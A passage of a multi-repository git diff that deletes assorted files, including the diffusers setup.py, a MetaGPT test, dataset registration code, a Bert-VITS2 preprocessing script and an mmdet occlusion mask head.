_PyAccessI32_Swap -else: - mode_map["I;16"] = _PyAccessI16_L - mode_map["I;16L"] = _PyAccessI16_L - mode_map["I;16B"] = _PyAccessI16_N - - mode_map["I;32L"] = _PyAccessI32_Swap - mode_map["I;32B"] = _PyAccessI32_N - - -def new(img, readonly=False): - access_type = mode_map.get(img.mode, None) - if not access_type: - logger.debug("PyAccess Not Implemented: %s", img.mode) - return None - return access_type(img, readonly) diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/altair/vegalite/v5/schema/__init__.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/altair/vegalite/v5/schema/__init__.py deleted file mode 100644 index 123a3fb5f048408f59a80cc0fa80097b652ceebb..0000000000000000000000000000000000000000 --- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/altair/vegalite/v5/schema/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -# ruff: noqa -from .core import * -from .channels import * -SCHEMA_VERSION = 'v5.8.0' -SCHEMA_URL = 'https://vega.github.io/schema/vega-lite/v5.8.0.json' diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/C_F_F_.py b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/C_F_F_.py deleted file mode 100644 index c231599e37b3a5864a774387d717baf297957876..0000000000000000000000000000000000000000 --- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/fontTools/ttLib/tables/C_F_F_.py +++ /dev/null @@ -1,46 +0,0 @@ -from io import BytesIO -from fontTools import cffLib -from . import DefaultTable - - -class table_C_F_F_(DefaultTable.DefaultTable): - def __init__(self, tag=None): - DefaultTable.DefaultTable.__init__(self, tag) - self.cff = cffLib.CFFFontSet() - self._gaveGlyphOrder = False - - def decompile(self, data, otFont): - self.cff.decompile(BytesIO(data), otFont, isCFF2=False) - assert len(self.cff) == 1, "can't deal with multi-font CFF tables." - - def compile(self, otFont): - f = BytesIO() - self.cff.compile(f, otFont, isCFF2=False) - return f.getvalue() - - def haveGlyphNames(self): - if hasattr(self.cff[self.cff.fontNames[0]], "ROS"): - return False # CID-keyed font - else: - return True - - def getGlyphOrder(self): - if self._gaveGlyphOrder: - from fontTools import ttLib - - raise ttLib.TTLibError("illegal use of getGlyphOrder()") - self._gaveGlyphOrder = True - return self.cff[self.cff.fontNames[0]].getGlyphOrder() - - def setGlyphOrder(self, glyphOrder): - pass - # XXX - # self.cff[self.cff.fontNames[0]].setGlyphOrder(glyphOrder) - - def toXML(self, writer, otFont): - self.cff.toXML(writer) - - def fromXML(self, name, attrs, content, otFont): - if not hasattr(self, "cff"): - self.cff = cffLib.CFFFontSet() - self.cff.fromXML(name, attrs, content, otFont) diff --git a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/index-e8e6c3eb.js b/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/index-e8e6c3eb.js deleted file mode 100644 index 624837ed898d0cad96a489086c0795ceb484c9fe..0000000000000000000000000000000000000000 --- a/spaces/dcarpintero/nlp-summarizer-pegasus/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/index-e8e6c3eb.js +++ /dev/null @@ -1,2 +0,0 @@ -import{S as H,e as O,s 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je=Se,qe=["static","dynamic"];export{je as Component,qe as modes}; -//# sourceMappingURL=index-e8e6c3eb.js.map diff --git a/spaces/declare-lab/tango/diffusers/setup.py b/spaces/declare-lab/tango/diffusers/setup.py deleted file mode 100644 index 972f9a5b4a2480a594c84daf7840ab26edf51a2c..0000000000000000000000000000000000000000 --- a/spaces/declare-lab/tango/diffusers/setup.py +++ /dev/null @@ -1,279 +0,0 @@ -# Copyright 2023 The HuggingFace Team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -""" -Simple check list from AllenNLP repo: https://github.com/allenai/allennlp/blob/main/setup.py - -To create the package for pypi. - -1. Run `make pre-release` (or `make pre-patch` for a patch release) then run `make fix-copies` to fix the index of the - documentation. - - If releasing on a special branch, copy the updated README.md on the main branch for your the commit you will make - for the post-release and run `make fix-copies` on the main branch as well. - -2. Run Tests for Amazon Sagemaker. The documentation is located in `./tests/sagemaker/README.md`, otherwise @philschmid. - -3. Unpin specific versions from setup.py that use a git install. - -4. Checkout the release branch (v-release, for example v4.19-release), and commit these changes with the - message: "Release: " and push. - -5. Wait for the tests on main to be completed and be green (otherwise revert and fix bugs) - -6. Add a tag in git to mark the release: "git tag v -m 'Adds tag v for pypi' " - Push the tag to git: git push --tags origin v-release - -7. Build both the sources and the wheel. Do not change anything in setup.py between - creating the wheel and the source distribution (obviously). - - For the wheel, run: "python setup.py bdist_wheel" in the top level directory. - (this will build a wheel for the python version you use to build it). - - For the sources, run: "python setup.py sdist" - You should now have a /dist directory with both .whl and .tar.gz source versions. - -8. Check that everything looks correct by uploading the package to the pypi test server: - - twine upload dist/* -r pypitest - (pypi suggest using twine as other methods upload files via plaintext.) - You may have to specify the repository url, use the following command then: - twine upload dist/* -r pypitest --repository-url=https://test.pypi.org/legacy/ - - Check that you can install it in a virtualenv by running: - pip install -i https://testpypi.python.org/pypi diffusers - - Check you can run the following commands: - python -c "from diffusers import pipeline; classifier = pipeline('text-classification'); print(classifier('What a nice release'))" - python -c "from diffusers import *" - -9. Upload the final version to actual pypi: - twine upload dist/* -r pypi - -10. Copy the release notes from RELEASE.md to the tag in github once everything is looking hunky-dory. - -11. Run `make post-release` (or, for a patch release, `make post-patch`). If you were on a branch for the release, - you need to go back to main before executing this. -""" - -import os -import re -from distutils.core import Command - -from setuptools import find_packages, setup - - -# IMPORTANT: -# 1. all dependencies should be listed here with their version requirements if any -# 2. once modified, run: `make deps_table_update` to update src/diffusers/dependency_versions_table.py -_deps = [ - "Pillow", # keep the PIL.Image.Resampling deprecation away - "accelerate>=0.11.0", - "compel==0.1.8", - "black~=23.1", - "datasets", - "filelock", - "flax>=0.4.1", - "hf-doc-builder>=0.3.0", - "huggingface-hub>=0.13.2", - "requests-mock==1.10.0", - "importlib_metadata", - "isort>=5.5.4", - "jax>=0.2.8,!=0.3.2", - "jaxlib>=0.1.65", - "Jinja2", - "k-diffusion>=0.0.12", - "librosa", - "note-seq", - "numpy", - "parameterized", - "protobuf>=3.20.3,<4", - "pytest", - "pytest-timeout", - "pytest-xdist", - "ruff>=0.0.241", - "safetensors", - "sentencepiece>=0.1.91,!=0.1.92", - "scipy", - "regex!=2019.12.17", - "requests", - "tensorboard", - "torch>=1.4", - "torchvision", - "transformers>=4.25.1", -] - -# this is a lookup table with items like: -# -# tokenizers: "huggingface-hub==0.8.0" -# packaging: "packaging" -# -# some of the values are versioned whereas others aren't. -deps = {b: a for a, b in (re.findall(r"^(([^!=<>~]+)(?:[!=<>~].*)?$)", x)[0] for x in _deps)} - -# since we save this data in src/diffusers/dependency_versions_table.py it can be easily accessed from -# anywhere. If you need to quickly access the data from this table in a shell, you can do so easily with: -# -# python -c 'import sys; from diffusers.dependency_versions_table import deps; \ -# print(" ".join([ deps[x] for x in sys.argv[1:]]))' tokenizers datasets -# -# Just pass the desired package names to that script as it's shown with 2 packages above. -# -# If diffusers is not yet installed and the work is done from the cloned repo remember to add `PYTHONPATH=src` to the script above -# -# You can then feed this for example to `pip`: -# -# pip install -U $(python -c 'import sys; from diffusers.dependency_versions_table import deps; \ -# print(" ".join([ deps[x] for x in sys.argv[1:]]))' tokenizers datasets) -# - - -def deps_list(*pkgs): - return [deps[pkg] for pkg in pkgs] - - -class DepsTableUpdateCommand(Command): - """ - A custom distutils command that updates the dependency table. - usage: python setup.py deps_table_update - """ - - description = "build runtime dependency table" - user_options = [ - # format: (long option, short option, description). - ("dep-table-update", None, "updates src/diffusers/dependency_versions_table.py"), - ] - - def initialize_options(self): - pass - - def finalize_options(self): - pass - - def run(self): - entries = "\n".join([f' "{k}": "{v}",' for k, v in deps.items()]) - content = [ - "# THIS FILE HAS BEEN AUTOGENERATED. To update:", - "# 1. modify the `_deps` dict in setup.py", - "# 2. run `make deps_table_update``", - "deps = {", - entries, - "}", - "", - ] - target = "src/diffusers/dependency_versions_table.py" - print(f"updating {target}") - with open(target, "w", encoding="utf-8", newline="\n") as f: - f.write("\n".join(content)) - - -extras = {} - - -extras = {} -extras["quality"] = deps_list("black", "isort", "ruff", "hf-doc-builder") -extras["docs"] = deps_list("hf-doc-builder") -extras["training"] = deps_list("accelerate", "datasets", "protobuf", "tensorboard", "Jinja2") -extras["test"] = deps_list( - "compel", - "datasets", - "Jinja2", - "k-diffusion", - "librosa", - "note-seq", - "parameterized", - "pytest", - "pytest-timeout", - "pytest-xdist", - "requests-mock", - "safetensors", - "sentencepiece", - "scipy", - "torchvision", - "transformers", -) -extras["torch"] = deps_list("torch", "accelerate") - -if os.name == "nt": # windows - extras["flax"] = [] # jax is not supported on windows -else: - extras["flax"] = deps_list("jax", "jaxlib", "flax") - -extras["dev"] = ( - extras["quality"] + extras["test"] + extras["training"] + extras["docs"] + extras["torch"] + extras["flax"] -) - -install_requires = [ - deps["importlib_metadata"], - deps["filelock"], - deps["huggingface-hub"], - deps["numpy"], - deps["regex"], - deps["requests"], - deps["Pillow"], -] - -setup( - name="diffusers", - version="0.15.0.dev0", # expected format is one of x.y.z.dev0, or x.y.z.rc1 or x.y.z (no to dashes, yes to dots) - description="Diffusers", - long_description=open("README.md", "r", encoding="utf-8").read(), - long_description_content_type="text/markdown", - keywords="deep learning", - license="Apache", - author="The HuggingFace team", - author_email="patrick@huggingface.co", - url="https://github.com/huggingface/diffusers", - package_dir={"": "src"}, - packages=find_packages("src"), - include_package_data=True, - python_requires=">=3.7.0", - install_requires=install_requires, - extras_require=extras, - entry_points={"console_scripts": ["diffusers-cli=diffusers.commands.diffusers_cli:main"]}, - classifiers=[ - "Development Status :: 5 - Production/Stable", - "Intended Audience :: Developers", - "Intended Audience :: Education", - "Intended Audience :: Science/Research", - "License :: OSI Approved :: Apache Software License", - "Operating System :: OS Independent", - "Programming Language :: Python :: 3", - "Programming Language :: Python :: 3.7", - "Programming Language :: Python :: 3.8", - "Programming Language :: Python :: 3.9", - "Topic :: Scientific/Engineering :: Artificial Intelligence", - ], - cmdclass={"deps_table_update": DepsTableUpdateCommand}, -) - -# Release checklist -# 1. Change the version in __init__.py and setup.py. -# 2. Commit these changes with the message: "Release: Release" -# 3. Add a tag in git to mark the release: "git tag RELEASE -m 'Adds tag RELEASE for pypi' " -# Push the tag to git: git push --tags origin main -# 4. Run the following commands in the top-level directory: -# python setup.py bdist_wheel -# python setup.py sdist -# 5. Upload the package to the pypi test server first: -# twine upload dist/* -r pypitest -# twine upload dist/* -r pypitest --repository-url=https://test.pypi.org/legacy/ -# 6. Check that you can install it in a virtualenv by running: -# pip install -i https://testpypi.python.org/pypi diffusers -# diffusers env -# diffusers test -# 7. Upload the final version to actual pypi: -# twine upload dist/* -r pypi -# 8. Add release notes to the tag in github once everything is looking hunky-dory. -# 9. Update the version in __init__.py, setup.py to the new version "-dev" and push to master diff --git a/spaces/declare-lab/tango/diffusers/utils/print_env.py b/spaces/declare-lab/tango/diffusers/utils/print_env.py deleted file mode 100644 index 88cb674bf31ace69122b925c0b31eddf812fcdb4..0000000000000000000000000000000000000000 --- a/spaces/declare-lab/tango/diffusers/utils/print_env.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python3 - -# coding=utf-8 -# Copyright 2023 The HuggingFace Inc. team. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -# this script dumps information about the environment - -import os -import platform -import sys - - -os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3" - -print("Python version:", sys.version) - -print("OS platform:", platform.platform()) -print("OS architecture:", platform.machine()) - -try: - import torch - - print("Torch version:", torch.__version__) - print("Cuda available:", torch.cuda.is_available()) - print("Cuda version:", torch.version.cuda) - print("CuDNN version:", torch.backends.cudnn.version()) - print("Number of GPUs available:", torch.cuda.device_count()) -except ImportError: - print("Torch version:", None) - -try: - import transformers - - print("transformers version:", transformers.__version__) -except ImportError: - print("transformers version:", None) diff --git a/spaces/deepwisdom/MetaGPT/tests/metagpt/learn/test_text_to_image.py b/spaces/deepwisdom/MetaGPT/tests/metagpt/learn/test_text_to_image.py deleted file mode 100644 index c359797deb43407934dac33cf2eea2eab9560d1a..0000000000000000000000000000000000000000 --- a/spaces/deepwisdom/MetaGPT/tests/metagpt/learn/test_text_to_image.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -""" -@Time : 2023/8/18 -@Author : mashenquan -@File : test_text_to_image.py -@Desc : Unit tests. -""" -import asyncio -import base64 - -from pydantic import BaseModel - -from metagpt.learn.text_to_image import text_to_image - - -async def mock_text_to_image(): - class Input(BaseModel): - input: str - size_type: str - - inputs = [ - {"input": "Panda emoji", "size_type": "512x512"} - ] - - for i in inputs: - seed = Input(**i) - base64_data = await text_to_image(seed.input) - assert base64_data != "" - print(f"{seed.input} -> {base64_data}") - flags = ";base64," - assert flags in base64_data - ix = base64_data.find(flags) + len(flags) - declaration = base64_data[0: ix] - assert declaration - data = base64_data[ix:] - assert data - assert base64.b64decode(data, validate=True) - - -def test_suite(): - loop = asyncio.get_event_loop() - task = loop.create_task(mock_text_to_image()) - loop.run_until_complete(task) - - -if __name__ == '__main__': - test_suite() diff --git a/spaces/diaoren/OpenSetObstacleDetection/opendet2/data/myvoc.py b/spaces/diaoren/OpenSetObstacleDetection/opendet2/data/myvoc.py deleted file mode 100644 index 499b99c88c5e6ed751097b38811e3fe82f63e8a6..0000000000000000000000000000000000000000 --- a/spaces/diaoren/OpenSetObstacleDetection/opendet2/data/myvoc.py +++ /dev/null @@ -1,58 +0,0 @@ -from detectron2.data import DatasetCatalog, MetadataCatalog -from detectron2.data.datasets import load_voc_instances - -myvoc_CATEGORIES_close = [ - "car", -"person", -"bicycle", -"roadblock", - "cow", -"sheep", - "horse", - "bird", -] -myvoc_CATEGORIES_open = [ - "car", -"person", -"bicycle", -"roadblock", - "cow", -"sheep", - "horse", - "bird", - "unknown", - - "dog", - "motorcycle", - "board", - "pig", - "bus", - "grass", - "rubbish", - "fox", - "rhinoceros", - "bear", - "dear", - "stone", - "tire", - "obstacle", - "trailer", -] - -def register_myvoc_close(name, dirname, split, year): - # 类别为8类 - class_names = myvoc_CATEGORIES_close - # 按照注册voc数据集的格式注册voc_coco数据集 - DatasetCatalog.register( - name, lambda: load_voc_instances(dirname, split, class_names)) - MetadataCatalog.get(name).set( - thing_classes=list(class_names), dirname=dirname, year=year, split=split - ) -def register_myvoc_open(name, dirname, split, year): - class_names = myvoc_CATEGORIES_open - # 按照注册voc数据集的格式注册voc_coco数据集 - DatasetCatalog.register( - name, lambda: load_voc_instances(dirname, split, class_names)) - MetadataCatalog.get(name).set( - thing_classes=list(class_names), dirname=dirname, year=year, split=split - ) diff --git a/spaces/digitalxingtong/Azusa-Bert-VITS2/start.bat b/spaces/digitalxingtong/Azusa-Bert-VITS2/start.bat deleted file mode 100644 index 418d21233dbf720b0dd09821904d9d6a31b123a2..0000000000000000000000000000000000000000 --- a/spaces/digitalxingtong/Azusa-Bert-VITS2/start.bat +++ /dev/null @@ -1,2 +0,0 @@ -set PYTHON=venv\python.exe -start cmd /k "set PYTHON=%PYTHON%" \ No newline at end of file diff --git a/spaces/digitalxingtong/Bufeiyan-a-Bert-VITS2/README_zh.md b/spaces/digitalxingtong/Bufeiyan-a-Bert-VITS2/README_zh.md deleted file mode 100644 index 8b137891791fe96927ad78e64b0aad7bded08bdc..0000000000000000000000000000000000000000 --- a/spaces/digitalxingtong/Bufeiyan-a-Bert-VITS2/README_zh.md +++ /dev/null @@ -1 +0,0 @@ - diff --git a/spaces/digitalxingtong/Taffy-Bert-VITS2/preprocess_text.py b/spaces/digitalxingtong/Taffy-Bert-VITS2/preprocess_text.py deleted file mode 100644 index 44c35fecd9b7f21016e80e9597d6055254cba3f7..0000000000000000000000000000000000000000 --- a/spaces/digitalxingtong/Taffy-Bert-VITS2/preprocess_text.py +++ /dev/null @@ -1,69 +0,0 @@ -import json -from random import shuffle - -import tqdm -from text.cleaner import clean_text -from collections import defaultdict -import shutil -stage = [1,2,3] - -transcription_path = 'filelists/short_character_anno.list' -train_path = 'filelists/train.list' -val_path = 'filelists/val.list' -config_path = "configs/config.json" -val_per_spk = 4 -max_val_total = 8 - -if 1 in stage: - with open( transcription_path+'.cleaned', 'w', encoding='utf-8') as f: - for line in tqdm.tqdm(open(transcription_path, encoding='utf-8').readlines()): - try: - utt, spk, language, text = line.strip().split('|') - #language = "ZH" - norm_text, phones, tones, word2ph = clean_text(text, language) - f.write('{}|{}|{}|{}|{}|{}|{}\n'.format(utt, spk, language, norm_text, ' '.join(phones), - " ".join([str(i) for i in tones]), - " ".join([str(i) for i in word2ph]))) - except: - print("err!", utt) - -if 2 in stage: - spk_utt_map = defaultdict(list) - spk_id_map = {} - current_sid = 0 - - with open( transcription_path+'.cleaned', encoding='utf-8') as f: - for line in f.readlines(): - utt, spk, language, text, phones, tones, word2ph = line.strip().split('|') - spk_utt_map[spk].append(line) - if spk not in spk_id_map.keys(): - spk_id_map[spk] = current_sid - current_sid += 1 - train_list = [] - val_list = [] - for spk, utts in spk_utt_map.items(): - shuffle(utts) - val_list+=utts[:val_per_spk] - train_list+=utts[val_per_spk:] - if len(val_list) > max_val_total: - train_list+=val_list[max_val_total:] - val_list = val_list[:max_val_total] - - with open( train_path,"w", encoding='utf-8') as f: - for line in train_list: - f.write(line) - - file_path = transcription_path+'.cleaned' - shutil.copy(file_path,'./filelists/train.list') - - with open(val_path, "w", encoding='utf-8') as f: - for line in val_list: - f.write(line) - -if 3 in stage: - assert 2 in stage - config = json.load(open(config_path)) - config['data']["n_speakers"] = current_sid # - config["data"]['spk2id'] = spk_id_map - with open(config_path, 'w', encoding='utf-8') as f: - json.dump(config, f, indent=2, ensure_ascii=False) diff --git a/spaces/dineshreddy/WALT/mmdet/models/roi_heads/mask_heads/fcn_occmask_head.py b/spaces/dineshreddy/WALT/mmdet/models/roi_heads/mask_heads/fcn_occmask_head.py deleted file mode 100644 index 17953ed183cc5f1cd55af7d3196fe6ffa4aa06db..0000000000000000000000000000000000000000 --- a/spaces/dineshreddy/WALT/mmdet/models/roi_heads/mask_heads/fcn_occmask_head.py +++ /dev/null @@ -1,570 +0,0 @@ -import numpy as np -import torch -import torch.nn as nn -import torch.nn.functional as F -from mmcv.cnn import Conv2d, ConvModule, build_upsample_layer -from mmcv.ops.carafe import CARAFEPack -from mmcv.runner import auto_fp16, force_fp32 -from torch.nn.modules.utils import _pair - -from mmdet.core import mask_target -from mmdet.models.builder import HEADS, build_loss - -BYTES_PER_FLOAT = 4 -# TODO: This memory limit may be too much or too little. It would be better to -# determine it based on available resources. -GPU_MEM_LIMIT = 1024**3 # 1 GB memory limit - - -@HEADS.register_module() -class FCNOccMaskHead(nn.Module): - - def __init__(self, - num_convs=4, - roi_feat_size=14, - in_channels=256, - conv_kernel_size=3, - conv_out_channels=256, - num_classes=80, - class_agnostic=False, - upsample_cfg=dict(type='deconv', scale_factor=2), - conv_cfg=None, - norm_cfg=None, - loss_mask=dict( - type='CrossEntropyLoss', use_mask=True, loss_weight=1.0)): - super(FCNOccMaskHead, self).__init__() - self.upsample_cfg = upsample_cfg.copy() - if self.upsample_cfg['type'] not in [ - None, 'deconv', 'nearest', 'bilinear', 'carafe' - ]: - raise ValueError( - f'Invalid upsample method {self.upsample_cfg["type"]}, ' - 'accepted methods are "deconv", "nearest", "bilinear", ' - '"carafe"') - self.num_convs = num_convs - # WARN: roi_feat_size is reserved and not used - self.roi_feat_size = _pair(roi_feat_size) - self.in_channels = in_channels - self.conv_kernel_size = conv_kernel_size - self.conv_out_channels = conv_out_channels - self.upsample_method = self.upsample_cfg.get('type') - self.scale_factor = self.upsample_cfg.pop('scale_factor', None) - self.num_classes = num_classes - self.class_agnostic = class_agnostic - self.conv_cfg = conv_cfg - self.norm_cfg = norm_cfg - self.fp16_enabled = False - self.loss_mask = build_loss(loss_mask) - - self.convs = nn.ModuleList() - for i in range(self.num_convs): - if i ==0: - in_channels_change = in_channels*2 - else: - in_channels_change = in_channels - - in_channels = ( - self.in_channels if i == 0 else self.conv_out_channels) - padding = (self.conv_kernel_size - 1) // 2 - self.convs.append( - ConvModule( - in_channels_change, - self.conv_out_channels, - self.conv_kernel_size, - padding=padding, - conv_cfg=conv_cfg, - norm_cfg=norm_cfg)) - - self.convs_occluder = nn.ModuleList() - for i in range(self.num_convs): - in_channels = ( - self.in_channels if i == 0 else self.conv_out_channels) - padding = (self.conv_kernel_size - 1) // 2 - self.convs_occluder.append( - ConvModule( - in_channels, - self.conv_out_channels, - self.conv_kernel_size, - padding=padding, - conv_cfg=conv_cfg, - norm_cfg=norm_cfg)) - - upsample_in_channels = ( - self.conv_out_channels if self.num_convs > 0 else in_channels) - upsample_cfg_ = self.upsample_cfg.copy() - if self.upsample_method is None: - self.upsample = None - elif self.upsample_method == 'deconv': - upsample_cfg_.update( - in_channels=upsample_in_channels, - out_channels=self.conv_out_channels, - kernel_size=self.scale_factor, - stride=self.scale_factor) - self.upsample = build_upsample_layer(upsample_cfg_) - elif self.upsample_method == 'carafe': - upsample_cfg_.update( - channels=upsample_in_channels, scale_factor=self.scale_factor) - self.upsample = build_upsample_layer(upsample_cfg_) - else: - # suppress warnings - align_corners = (None - if self.upsample_method == 'nearest' else False) - upsample_cfg_.update( - scale_factor=self.scale_factor, - mode=self.upsample_method, - align_corners=align_corners) - self.upsample = build_upsample_layer(upsample_cfg_) - - out_channels = 1 if self.class_agnostic else self.num_classes - logits_in_channel = ( - self.conv_out_channels - if self.upsample_method == 'deconv' else upsample_in_channels) - self.conv_logits = Conv2d(logits_in_channel, out_channels, 1) - self.conv_logits_occluder = Conv2d(logits_in_channel, out_channels, 1) - self.relu = nn.ReLU(inplace=True) - self.debug_imgs = None - - def init_weights(self): - for m in [self.upsample, self.conv_logits]: - if m is None: - continue - elif isinstance(m, CARAFEPack): - m.init_weights() - else: - nn.init.kaiming_normal_( - m.weight, mode='fan_out', nonlinearity='relu') - nn.init.constant_(m.bias, 0) - - @auto_fp16() - def forward(self, x): - y = x.clone() - for conv in self.convs_occluder: - y = conv(y) - x = torch.cat((x, y), 1) - for conv in self.convs: - x = conv(x) - if self.upsample is not None: - x = self.upsample(x) - if self.upsample_method == 'deconv': - x = self.relu(x) - if self.upsample is not None: - y = self.upsample(y) - if self.upsample_method == 'deconv': - y = self.relu(y) - mask_pred = self.conv_logits(x) - mask_occluder_pred = self.conv_logits_occluder(y) - return mask_pred, mask_occluder_pred - - def get_targets(self, sampling_results, gt_masks, rcnn_train_cfg): - pos_proposals = [res.pos_bboxes for res in sampling_results] - pos_assigned_gt_inds = [ - res.pos_assigned_gt_inds for res in sampling_results - ] - mask_targets = mask_target(pos_proposals, pos_assigned_gt_inds, - gt_masks, rcnn_train_cfg) - return mask_targets - - @force_fp32(apply_to=('mask_pred', )) - def loss(self, mask_pred, mask_targets, labels): - """ - Example: - >>> from mmdet.models.roi_heads.mask_heads.fcn_mask_head import * # NOQA - >>> N = 7 # N = number of extracted ROIs - >>> C, H, W = 11, 32, 32 - >>> # Create example instance of FCN Mask Head. - >>> # There are lots of variations depending on the configuration - >>> self = FCNMaskHead(num_classes=C, num_convs=1) - >>> inputs = torch.rand(N, self.in_channels, H, W) - >>> mask_pred = self.forward(inputs) - >>> sf = self.scale_factor - >>> labels = torch.randint(0, C, size=(N,)) - >>> # With the default properties the mask targets should indicate - >>> # a (potentially soft) single-class label - >>> mask_targets = torch.rand(N, H * sf, W * sf) - >>> loss = self.loss(mask_pred, mask_targets, labels) - >>> print('loss = {!r}'.format(loss)) - """ - mask_full_pred, mask_occ_pred = mask_pred - loss = dict() - if mask_full_pred.size(0) == 0: - loss_mask_vis = mask_full_pred.sum() - else: - if self.class_agnostic: - loss_mask = self.loss_mask(mask_full_pred, mask_targets, - torch.zeros_like(labels)) - else: - #print(mask_pred[:,0:1].shape, mask_targets[0::2].shape, labels.shape) - loss_mask_vis = self.loss_mask(mask_full_pred[:,0:1], mask_targets[0::2], labels) - loss['loss_mask_vis'] = loss_mask_vis - - if mask_occ_pred.size(0) == 0: - loss_mask = mask_occ_pred.sum() - else: - if self.class_agnostic: - loss_mask = self.loss_mask(mask_occ_pred, mask_targets, - torch.zeros_like(labels)) - else: - loss_mask_occ = self.loss_mask(mask_occ_pred[:,0:1], mask_targets[1::2], labels) - loss['loss_mask_occ'] = loss_mask_occ - return loss - - def get_seg_masks(self, mask_pred, det_bboxes, det_labels, rcnn_test_cfg, - ori_shape, scale_factor, rescale): - """Get segmentation masks from mask_pred and bboxes. - Args: - mask_pred (Tensor or ndarray): shape (n, #class, h, w). - For single-scale testing, mask_pred is the direct output of - model, whose type is Tensor, while for multi-scale testing, - it will be converted to numpy array outside of this method. - det_bboxes (Tensor): shape (n, 4/5) - det_labels (Tensor): shape (n, ) - rcnn_test_cfg (dict): rcnn testing config - ori_shape (Tuple): original image height and width, shape (2,) - scale_factor(float | Tensor): If ``rescale is True``, box - coordinates are divided by this scale factor to fit - ``ori_shape``. - rescale (bool): If True, the resulting masks will be rescaled to - ``ori_shape``. - Returns: - list[list]: encoded masks. The c-th item in the outer list - corresponds to the c-th class. Given the c-th outer list, the - i-th item in that inner list is the mask for the i-th box with - class label c. - Example: - >>> import mmcv - >>> from mmdet.models.roi_heads.mask_heads.fcn_mask_head import * # NOQA - >>> N = 7 # N = number of extracted ROIs - >>> C, H, W = 11, 32, 32 - >>> # Create example instance of FCN Mask Head. - >>> self = FCNMaskHead(num_classes=C, num_convs=0) - >>> inputs = torch.rand(N, self.in_channels, H, W) - >>> mask_pred = self.forward(inputs) - >>> # Each input is associated with some bounding box - >>> det_bboxes = torch.Tensor([[1, 1, 42, 42 ]] * N) - >>> det_labels = torch.randint(0, C, size=(N,)) - >>> rcnn_test_cfg = mmcv.Config({'mask_thr_binary': 0, }) - >>> ori_shape = (H * 4, W * 4) - >>> scale_factor = torch.FloatTensor((1, 1)) - >>> rescale = False - >>> # Encoded masks are a list for each category. - >>> encoded_masks = self.get_seg_masks( - >>> mask_pred, det_bboxes, det_labels, rcnn_test_cfg, ori_shape, - >>> scale_factor, rescale - >>> ) - >>> assert len(encoded_masks) == C - >>> assert sum(list(map(len, encoded_masks))) == N - """ - if isinstance(mask_pred, torch.Tensor): - mask_pred = mask_pred.sigmoid() - else: - mask_pred = det_bboxes.new_tensor(mask_pred) - - device = mask_pred.device - cls_segms = [[] for _ in range(self.num_classes) - ] # BG is not included in num_classes - bboxes = det_bboxes[:, :4] - labels = det_labels - - if rescale: - img_h, img_w = ori_shape[:2] - else: - if isinstance(scale_factor, float): - img_h = np.round(ori_shape[0] * scale_factor).astype(np.int32) - img_w = np.round(ori_shape[1] * scale_factor).astype(np.int32) - else: - w_scale, h_scale = scale_factor[0], scale_factor[1] - img_h = np.round(ori_shape[0] * h_scale.item()).astype( - np.int32) - img_w = np.round(ori_shape[1] * w_scale.item()).astype( - np.int32) - scale_factor = 1.0 - - if not isinstance(scale_factor, (float, torch.Tensor)): - scale_factor = bboxes.new_tensor(scale_factor) - bboxes = bboxes / scale_factor - - if torch.onnx.is_in_onnx_export(): - # TODO: Remove after F.grid_sample is supported. - from torchvision.models.detection.roi_heads \ - import paste_masks_in_image - masks = paste_masks_in_image(mask_pred, bboxes, ori_shape[:2]) - thr = rcnn_test_cfg.get('mask_thr_binary', 0) - if thr > 0: - masks = masks >= thr - return masks - - N = len(mask_pred) - # The actual implementation split the input into chunks, - # and paste them chunk by chunk. - if device.type == 'cpu': - # CPU is most efficient when they are pasted one by one with - # skip_empty=True, so that it performs minimal number of - # operations. - num_chunks = N - else: - # GPU benefits from parallelism for larger chunks, - # but may have memory issue - num_chunks = int( - np.ceil(N * img_h * img_w * BYTES_PER_FLOAT / GPU_MEM_LIMIT)) - assert (num_chunks <= - N), 'Default GPU_MEM_LIMIT is too small; try increasing it' - chunks = torch.chunk(torch.arange(N, device=device), num_chunks) - - threshold = rcnn_test_cfg.mask_thr_binary - im_mask = torch.zeros( - N, - img_h, - img_w, - device=device, - dtype=torch.bool if threshold >= 0 else torch.uint8) - - if not self.class_agnostic: - mask_pred = mask_pred[range(N), labels][:, None] - - for inds in chunks: - masks_chunk, spatial_inds = _do_paste_mask( - mask_pred[inds], - bboxes[inds], - img_h, - img_w, - skip_empty=device.type == 'cpu') - - if threshold >= 0: - masks_chunk = (masks_chunk >= threshold).to(dtype=torch.bool) - else: - # for visualization and debugging - masks_chunk = (masks_chunk * 255).to(dtype=torch.uint8) - - im_mask[(inds, ) + spatial_inds] = masks_chunk - - for i in range(N): - cls_segms[labels[i]].append(im_mask[i].detach().cpu().numpy()) - return cls_segms - - def get_seg_masks1(self, mask_pred, 